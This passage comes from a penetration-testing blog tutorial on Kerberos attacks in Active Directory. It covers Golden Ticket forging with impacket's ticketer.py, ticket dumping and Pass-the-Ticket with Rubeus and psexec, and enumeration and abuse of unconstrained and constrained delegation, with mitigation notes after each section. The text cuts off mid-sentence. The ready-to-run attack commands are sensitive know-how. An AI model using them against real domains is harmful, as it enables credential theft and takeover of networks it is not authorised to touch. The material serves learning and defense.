Machines<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Disclaimer: This is almost a identical copy\/paste from Silver Ticket Section besides Syntax<\/em><\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"ticketerpy-1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>ticketer.py<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Here we find ourselves again on a Linux machine wanting to do Windows things so where do we look? You have one guess. Yep you\u2019re right. <strong>Impacket<\/strong> has a script called <code>ticketer.py<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I truthfully just learnt about this script after doing some Googling so I am not expert on it\u2019s internals but after a brief overview it appears as if <code>ticketer.py<\/code> allows you to generate <code>Golden Tickets<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Syntax for Ticketer is as follows<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mahyar@kali:\/scripts\/> python ticketer.py -nthash d7e2b80507ea074ad59f152a1ba20458 -domain-sid S-1-5-21-1473643419-774954089-2222323452 -domain mahyarAD.local -id 500 FakeAdmin \n    \n#This will export a .ccache file which can be imported by executing the below command\n\nKRB5CCNAME=\/scripts\/mahyar.ccache \n\nWe can then pass the -K switch through with any other Impacket scripts and it will automatically use the cached kerberos ticket, such as PSEXec, WMIExec (i think).\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"mitigation--defending-golden-tickets\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Mitigation \/ Defending Golden Tickets<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Golden Tickets are really hard to monitor for as effectively they are just legitamate<code>TGT<\/code> tickets that are signed\/encrypted by the official <code>KRBTGT<\/code> account. However by default Mimikatz will generate a golden ticket with a life-span of 10 years but can easily be detected.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"-pass-the-ticket--ticket-dump\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-1\"><\/a> Pass-The-Ticket \/ Ticket Dump<\/h1>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"introduction-5\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Introduction<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">You may have already noticed me chatting about <code>Pass-The-Ticket<\/code> above or <code>PTT<\/code> but I figured it required it\u2019s own section as it can be extremely useful for not only importing Silver\/Golden tickets into a current session but also dumping current Kerberos tickets<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Similar to the famous <code>Pass-The-Hash<\/code> exploit where can pass a users <code>NTLM<\/code> without even cracking it and authenticate as them we can pass stored kerberos tickets to access other network resources.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We can dump 2 types of tickets <code>TGT<\/code> or <code>TGS<\/code> tickets. If you dump <code>TGT<\/code> (depends on level of access) we can then request access to any service within the context of this user or if we dump a <code>TGS<\/code> ticket then we can <code>PTT<\/code> to the respective service.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-windows-5\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Windows<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">On Windows Operating Systems there is a very important process entitled <code>Local Security Authority Subsystem Service<\/code> aka <code>LSASS<\/code>. Everyone who\u2019s interested in InfoSec has heard of it as it is usually a treasure cove of credentials once you have pwned a box and ran good old mimikatz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Well Kerberos tickets are also stored in <code>LSASS<\/code> so to dump them you also need to elevate to local admin, you could run it as normal user but you will only dump the tickets for your current context hence if you want to dump other users credentials I advise you elevate.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"dumping-ticket-with-rubeus--ptt\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Dumping Ticket with Rubeus &amp; PTT<\/h4>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#\/.NET meaning it is a lot harder for defenders to detect it it\u2019s reflectively loaded using something like Cobalt\u2019s <code>execute-assembly<\/code> or <code>SILENTTRINITY<\/code> You can also reflectively load it from PowerShell but I will be covering <code>.NET<\/code> in greater detail in a future article.<\/p><p>https:\/\/github.com\/GhostPack\/Rubeus<\/p><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">Triage All Current Tickets (If Elevated List all Users)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe triage\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">List all Current Tickets in Details (If Elevated List all Users)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe klist\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Dump all Current Ticket Data (If Elevated List all Users)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe dump\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Realistically when you are dumping tickets if you are limited to <code>TGS<\/code> then you are limited so the true aim here is to get a <code>TGT<\/code> ticket of a user<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Inside Rebeus, <code>TGT<\/code> are the <code>KRBTGT<\/code> user ones and <code>TGS's<\/code> are the ones with specific service names beside them, for ex. cifs\/http\/ldap etc<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I want to take this time to talk about what exactly leaves Kerberos tickets (TGS\/TGT\u2019s) in <code>LSSAS<\/code> on Windows Machines as this had me confused for a while, due to the wide range of logon-types available.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When you authenticate to a Kerberos service with your <code>TGT<\/code> you are granted a <code>TGS<\/code> which is stored in <code>LSSAS<\/code> for future use as per it\u2019s expire time etc, your <code>TGT<\/code> won\u2019t even end up on the remote host.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However there are ways for your <code>TGT<\/code> to be left on a remote host and that is if you create a interactive logon-session to a remote host your <code>TGT<\/code> will be left present on the remote-host as well as a RemoteInteractive Logon.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is a great resource on the types of Logon Types:<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/docs.microsoft.com\/en-us\/windows-server\/identity\/securing-privileged-access\/securing-privileged-access-reference-material\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Types of Interactive Logon-Sessions<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Local Login: Physically Logging in at Your Workstation\n\nrunas: Perhaps you are a Low Level Helpdesk who uses \/runas to spawn a CMD with DA Account, this will result in a TGT for the DA account be cached in LSSAS\n\nrunas \/netonly: TGT will appear after running a network command (\\\\IP\\SYSVOL) or something\n\nPsExec \\\\server -u user -p pwd cmd - PSExec leaves a TGT providing explicit credentials were defined\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Types of Remote-Interactive Logon Sessions<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Remote Desktop (RDP)\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Injection \/ PTT<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now presuming we were in a high-integrity process when we run <code>Rubeus.exe dump<\/code> we will have dumped all <code>TGTs<\/code> and all <code>TGS<\/code> for any users with a session to the target box. Now we can <code>pass-the-ticket<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">PTT Syntax with Base64<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe \/ticket:base64blob\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">PTT Syntax with Ticket<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe \/ticket:mahyar.kirbi\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now if we <code>PTT<\/code> of a <code>TGT<\/code> into our current session we will therefore be able to access any services that this respective user has access too as we can request <code>TGS<\/code> however if we only passed a <code>TGS<\/code> we will be limited to the respective service.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-linux-5\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Linux<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Passing-The-Ticket in Linux is a little but different in the sense that you have to pull the tickets in <code>.ccache<\/code> form and then typically use them alongside a <strong>Impacket<\/strong> script such as PSExec.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Truthfully I haven\u2019t played with PTT on Linux besides a Simple PSExec but I\u2019m sure there is way more to play with.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">An example would be.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mahyar@kali:\/scripts\/> export KRB5CCNAME=\/root\/impacket-examples\/krb5cc_08009234234_ZFxIpl \n\nmahyar@kali:\/scripts\/> python psexec.py mahyarAD.local\/user@workstation.mahyarAD.local -k -no-pass\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"mitigation--defending-against-ptt\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Mitigation \/ Defending against PTT<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">It goes without saying that defending against PTT is very tricky as you are simply using normal functions of Kerberos in a malicious way &#8211; All you are really doing is using Kerberos tickets as they would be used, TGT to request service TGS Ticket, and accessing services with TGS.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However as tickets are stored in <strong>LSASS<\/strong> I recommend you do not log into end-users stations with privileged accounts i\/e do not log into a HR User with your Domain Account with a interactive session\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is also advised to ensure that Kerberos tickets are set to expire within 10 hours.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"unconstrained-delegation\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-1\"><\/a>Unconstrained Delegation<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Unconstrained Delegation (aka) <strong>TGT Forwarding (TrustedForDelegation)<\/strong><\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"introduction-6\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Introduction<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Oh boy &#8211; Now it gets interesting.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Just to provide a little bit of a background back in the older days of Servers &amp; Authentication probably when I was still a kid and Server 2000 first introduced Active Directory, Microsoft had to find a way to allow Servers authenticate to other resources in the context of a user. This was called the <strong>\u201cKerberos Double-Hop Issue\u201d<\/strong> &#8211; That\u2019s where <strong>Unconstrained Delegation<\/strong> comes into play.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Unconstrained Delegation<\/strong> is a privilege that can be granted to <strong>User Accounts<\/strong> or <strong>Computer Accounts<\/strong> in a active directory environment that allows a resources to authenticate to another resource on <strong>BEHALF<\/strong> of a user. Confusing right?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let me provide an example &#8211;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>mahyar<\/code>\u2013 Authenticates \u2013 <code>CRM Server<\/code> \u2013 authenticates on behalf of mahyar\u2013 <code>DB Server<\/code> to fetch information.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">What is really happening here is you are sending your <code>TGS<\/code> ticket to access the service on <code>CRM Server<\/code> for example <code>http<\/code> but you were <strong>ALSO<\/strong> sending your <code>TGT<\/code> so that the <code>CRM Server<\/code> is able to further request a <code>TGS<\/code> on behalf of yourself to access the <code>DB Server<\/code> in your context.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">From an attackers point of view there is a couple of things to bare in mind<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>When a User Authenticates to a Server with Unconstrained Delegation turned on, the Users <code>TGT<\/code> get\u2019s cached on the server<ul><li>If you pwn a Server with Unconstrained Delegation Turned on it could be littered with <code>TGT's<\/code> to perform a <code>PTT<\/code> attack<\/li><li>The Reason this get\u2019s cached is for the obvious reason, so the Server can Impersonate the authenticated user to access resources said User has access to.<ul><li>This allows you to retain your privilege model and to not have over-privileged servers.<\/li><\/ul><\/li><\/ul><\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">So how is <strong>Unconstrained Delegation<\/strong> configured? Simple. Enable <code>Trust this computer for Delegation to any Service (Kerberos Only)<\/code> within <code>Active Directory Users and Computers<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i.imgur.com\/LbW79Hy.png\" alt=\"img\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"enumeration\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Enumeration<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Discovering Servers\/Computers with <strong>Unconstrained Delegation<\/strong> enabled is fairly straight forward using the <code>ActiveDirectory<\/code> module and <code>Get-ADComputer<\/code> function.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quick example<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> Import-Module ActiveDirectory\n\nPS C:\\Users\\mahyar> Get-ADComputer -Filter {(TrustedForDelegation - eq $true) -AND (PrimaryGroupID -eq 515)} -Properties TrustedForDelegation,TrustedToAuthForDelegation,servicePrincipalName,Description\n\n#Or Simply\nPS C:\\Users\\mahyar> Get-ADComputer -Filter {(TrustedForDelegation - eq $true)} \n\n#PowerView\n\nPS C:\\Users\\mahyar> Get-DomainComputer -Unconstrained \n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"exploiting\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Exploiting<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Now truthfully I do not see the point in writing a <strong>From Windows<\/strong> &amp; <strong>From Linux<\/strong> section for <strong>Unconstrained Delegation<\/strong> as it\u2019s fairly simple and basically just a <strong>PTT<\/strong> attack.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">An example to exploiting <strong>Unconstrained Delegation<\/strong> would be<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Compromise a Server trusted for <strong>Unconstrained Delegation<\/strong> via a admin or service account.<\/li><li>Dump tickets with <code>PS C:\\Users\\mahyar> Rubeus.exe dump<\/code><ol><li>If a Domain Admin has authenticated through this Server then RIP<\/li><li>Social Engineer a Domain Admin to Authenticate to this Server<\/li><\/ol><\/li><li>Perform a <code>PTT<\/code> attack with recovered <code>TGT<\/code><\/li><\/ol>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"mitigation--defending-unconstrained-delegation\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Mitigation \/ Defending Unconstrained Delegation<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">And that\u2019s really it\u2026 <strong>Unconstrained Delegation<\/strong> is bad. I highly recommend the following to mitigate this vulnerability.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Enforce <strong>Constrained Delegation<\/strong> but of course that has it\u2019s weaknesses which I will be covering in the next section.<\/li><li>Also if a user is part of the <strong>Protected-Users Group<\/strong> he\/she will will not be allowed for delegation<\/li><li>Configure all Privileged or Sensitive Accounts with `Account is Sensitive and Cannot be Delegated.<\/li><\/ul>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"constrained-delegation\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-1\"><\/a>Constrained Delegation<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Constrained Delegation (aka) <strong>S4U2Proxy<\/strong><\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"introduction-7\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Introduction<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Here we are at the last section, big GG\u2019s if you are still with me through all this, It has taken me nearly 2 days to write this.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now in the last section we talked about <strong>Unconstrained Delegation<\/strong> which allows Severs to authenticate to resources on your behalf by taking your <code>TGT<\/code> alongside the <code>TGS<\/code> ticket. Now <strong>Unconstrained Delegation<\/strong> has no limits in terms of what Kerberos services a Server can authenticate to on your behalf. i\/e Once you have handed over your <code>TGT<\/code> if the server is trusted for <strong>Unconstrained Delegation<\/strong> then it can theoretically request a <code>TGS<\/code> ticket for any other Kerberos Service within the <code>Realm<\/code> which isn\u2019t exactly ideal.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is where <strong>Constrained Delegation<\/strong> comes into play.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Once Microsoft realized there Mistake with <strong>Unconstrained Delegation<\/strong> they came up with a couple of Kerberos extensions namely &#8211; <code>S4U2Self<\/code> &amp; <code>S4U2Proxy<\/code> &#8211; Long story short basically <code>Constrained Delegation<\/code> limits what services a particular machine trusted for Delegation can actually access on behalf of an authenticated user<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Just like <strong>Unconstrained Delegation<\/strong>, you can configure <strong>Constrained Delegation<\/strong> from <code>Active Directory Users and Computers<\/code> as well as limit authentication to Kerberos and\/or other protocol\u2019s.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/i.imgur.com\/J5gkDLm.png\" alt=\"img\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">In this case I have enabled <strong>Constrained Delegation<\/strong> which limits said server to authenticate on behalf of a user to the following <code>SPN<\/code> <code>CIFS\/SERVERNAME-2016RDS.mahyarAD.local<\/code><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"s4u2self--s4u2proxy--protocol-transition\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>S4U2Self \/ S4U2Proxy &amp; Protocol Transition<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em><strong>S4U<\/strong> = Service-For-User<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>S4U2Proxy<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Server-for-User-to-Proxy is an extension that allows a service to use it\u2019s Kerberos service ticket for a specific user to obtain a <code>TGS<\/code> ticket from the <code>KDC<\/code> to access a back-end-service on behalf of a user. The <strong>S4U2Proxy<\/strong> s being used 9\/10 times that <strong>Constrained Delegation<\/strong> is in use.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This extension works in the following order<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>User Sends a TGS to Access <strong>Service 1<\/strong><\/li><li>Providing <strong>Service 1<\/strong> is permitted to delegate to another Service, for ex <strong>Service 2<\/strong><\/li><li><strong>Service 1<\/strong> now issues a <strong>S42UProxy Request<\/strong> for a <code>TGS<\/code> Ticket for <em>requesting user<\/em> to <strong>Service 2<\/strong> with the <em>requesting users<\/em> <code>TGS<\/code> Ticket<\/li><li><strong>Service 1<\/strong> sends <code>TGS Ticket<\/code> to <strong>Service 2<\/strong><\/li><li><strong>Service 1<\/strong> connects to <strong>Service 2<\/strong> authenticating as the <em>requesting user<\/em>.<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Note: The <code>TGS<\/code> Ticket provided in the <strong>S4U2Proxy request<\/strong> must have the <strong>FORWARDABLE<\/strong> flag set. This flag is never set for accounts that have <code>Account is Sensitive and Cannot Be Delegated<\/code> set.<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/shenaniganslabs.io\/images\/TrustedToAuthForDelegationWho\/Diagrams\/S4U2Proxy.png\" alt=\"S4U2Proxy.png\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>S4U2Self<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <code>SVU2Self<\/code> extension is only required if a user authenticates with something other than <code>Kerberos<\/code> such as <code>NTLM<\/code>, but the delegation to the second service (second hop) will always be completed in Kerberos. This is called <strong>Protocol Transition<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The reason we need <strong>S4U2Self<\/strong> is because the <strong>S4U2Proxy<\/strong> extension requires a valid <code>TGS<\/code> ticket to be passed too it from the <em>requesting user<\/em> before it goes onto request a <code>TGS<\/code> for <strong><em>Service 2<\/em><\/strong> &#8211; Shenaniganslabs.io calls this \u201cevidence\u201d and I believe that\u2019s a really good way to put it. However as previously mentioned sometimes users may authenticate with something other than Kerberos, like <code>NTLM<\/code> therefore they do not pass a <code>TGS<\/code> ticket through. In such cases then <strong>S4U2Self<\/strong> can ask the service authentication service to product a <code>TGS<\/code> for a <strong>arbitrary user<\/strong> (any user) which can therefore be passed over to <strong>S4U2Proxy<\/strong> to request a ticket for another service i\/e <strong><em>Service 2<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is why if you pwn a server with constrained delegation enabled (any protocol) you can theoretically impersonate any user in the domain against any respective <strong>SPNs<\/strong> (More on this below in Exploiting Section)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>PS:<\/strong> You can only exploit <strong>Constrained Delegation<\/strong> if <strong>Protocol Transition<\/strong> is enabled, 9\/10 times in the real world this will be configured.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/shenaniganslabs.io\/images\/TrustedToAuthForDelegationWho\/Diagrams\/S4U2Self.png\" alt=\"S4U2Self.png\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Microsoft\u2019s Diagram for <strong>S4U2Self<\/strong> &amp; <strong>S4U2-Proxy<\/strong><\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/ms-sfu_files\/image002.png\" alt=\"S4U2self and S4U2proxy\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/1fb9caca-449f-4183-8f7a-1a5fc7e7290a\n<\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"enumeration-1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Enumeration<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Discovering Servers\/Computers with <strong>Constrained Delegation<\/strong> enabled is fairly straight forward using the <code>ActiveDirectory<\/code> module and <code>Get-ADComputer<\/code> function.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Quick example<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> Import-Module ActiveDirectory\n\nPS C:\\Users\\mahyar> Get-ADComputer -Filter {(msDS-AllowedToDelegateTo -ne \"{}\")} -Properties TrustedForDelegation,TrustedToAuthForDelegation,ServicePrincipalName,Description,msDS-AllowedToDelegateTo\n\n\n#PowerView\n\nPS C:\\Users\\mahyar> Get-DomainComputer -TrustedToAuth -Properties distinguishedname,msds-allowedtodelegateto,useraccountcontrol -Verbose | fl \n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Another Example<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto\nldap\/DC.mahyarAD.local\/mahyarAD.local\nldap\/PRIMARY\nldap\/DC.mahyarAD.local\/\nldap\/DC\/mahyarAD\nldap\/DC.mahyarAD.local\/DomainDnsZones.mahyarAD.local\nldap\/DC.mahyarAD.local\/ForestDnsZones.mahyarAD.local\nldap\/DC.mahyarAD.local\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Bloodhound 2.0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I have sadly not tested Bloodhound 2.0 yet but I am aware that is supports <strong>Constrained<\/strong> &amp; <strong>Unconstrained Delegation<\/strong> enumeration.<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/blog.cptjesus.com\/posts\/bloodhound20\n<\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"exploiting-1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Exploiting<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Now exploiting <strong>Constrained Delegation<\/strong> is a little but different to <strong>Unconstrained Delegation<\/strong> as we can\u2019t just simply grab pwn the Server\u2019s\/Users\u2019 trusted for Delegation and snatch the cached <code>TGT<\/code> tickets.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We simply have to find high value targets that are set to delegate for high value resources, a good example would be a server trusted for <code>cifs<\/code> <code>Delegation<\/code> on a machine, this would allow us to read the files on the target system by snatching the cached <code>TGS<\/code> ticket.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Another great one is if a machine trusts the <code>DC<\/code> &amp; <code>LDAP<\/code> for <code>Delegation<\/code> then we can DC Sync \ud83d\ude09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Also worth noting any users\/computers that have delegation enabled &#8211; <code>msDS-AllowedToDelegateTo<\/code>, they can pretend to be any user in the domain to authenticate the specified <code>SPN<\/code> that they are allowed to delegate too.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Such as if <code>user1.mahyarAD.local<\/code> was allowed to delegate too <code>cifs\/fileserver.mahyarAD.local<\/code> &amp; you owned <code>user1.mahyarAD.local<\/code> then you would be able to authenticate as <strong>any<\/strong> user within the domain <strong>only<\/strong> to <code>cifs\/fileserver.mahyarAD.local<\/code><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-windows-6\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Windows<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">So if you\u2019ve got this far you probably agree <strong>Constrained Delegation<\/strong> is confusing as fuck! It\u2019s probably been the biggest learning experience of this whole document. I figured instead of creating examples and just showcasing how to exploit it I had to spin up my <code>Active Directory<\/code> lab which consists of a <code>DC<\/code> and 2 x <code>WIN10<\/code> Hosts<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"exploiting-with-rubeus\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Exploiting with Rubeus<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Now as I mentioned exploiting <strong>Constrained Delegation<\/strong> is of course not as simple as exploiting <strong>Unconstrained Delegation<\/strong> due to the obvious limitations however once an attacker has discovered the servers\/users configured for <strong>Delegation<\/strong> he\/she would aim to dump all the cached <code>TGS<\/code> Tickets and\/or use the <code>S4U2Self<\/code> extension to request a <code>TGS<\/code> ticket for any respective user to access said SPN they are configured to delegate too.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I am going to try formulate all examples I have saw from other articles on exploiting this, there can be quite a lot of different use cases. I am not copying\u2026 Well kinda but I think it\u2019s relevant that I have it all on this page.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Example 1 &#8211; Basic TGS Ticket Snatch<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now of course the first example that comes into mind is a basic one where I won\u2019t go step by step but I felt it was relevant to add this section. If we can gain access to a user\/computer account configured for <strong>Constrained Delegation<\/strong> if we run the below command<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar> .\\Rubeus.exe dump\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This will dump any relevant cached <code>TGS<\/code> ticket\u2019s stored on the box which we can then perform a <code>PTT<\/code> ticket attack similar to the <code>Pass-The-Ticket<\/code> section above.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Relatively simple \ud83d\ude42<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Example 2 &#8211; Plaintext Password too Service Access<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shoutout to @harmj0y &amp; @gentilkiwi for this example. Really cool imo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Basically this attack works around the basis that you have compromised a plaintext password of a user account that is trusted for <strong>Constrained Delegation<\/strong> and\/or a RC4 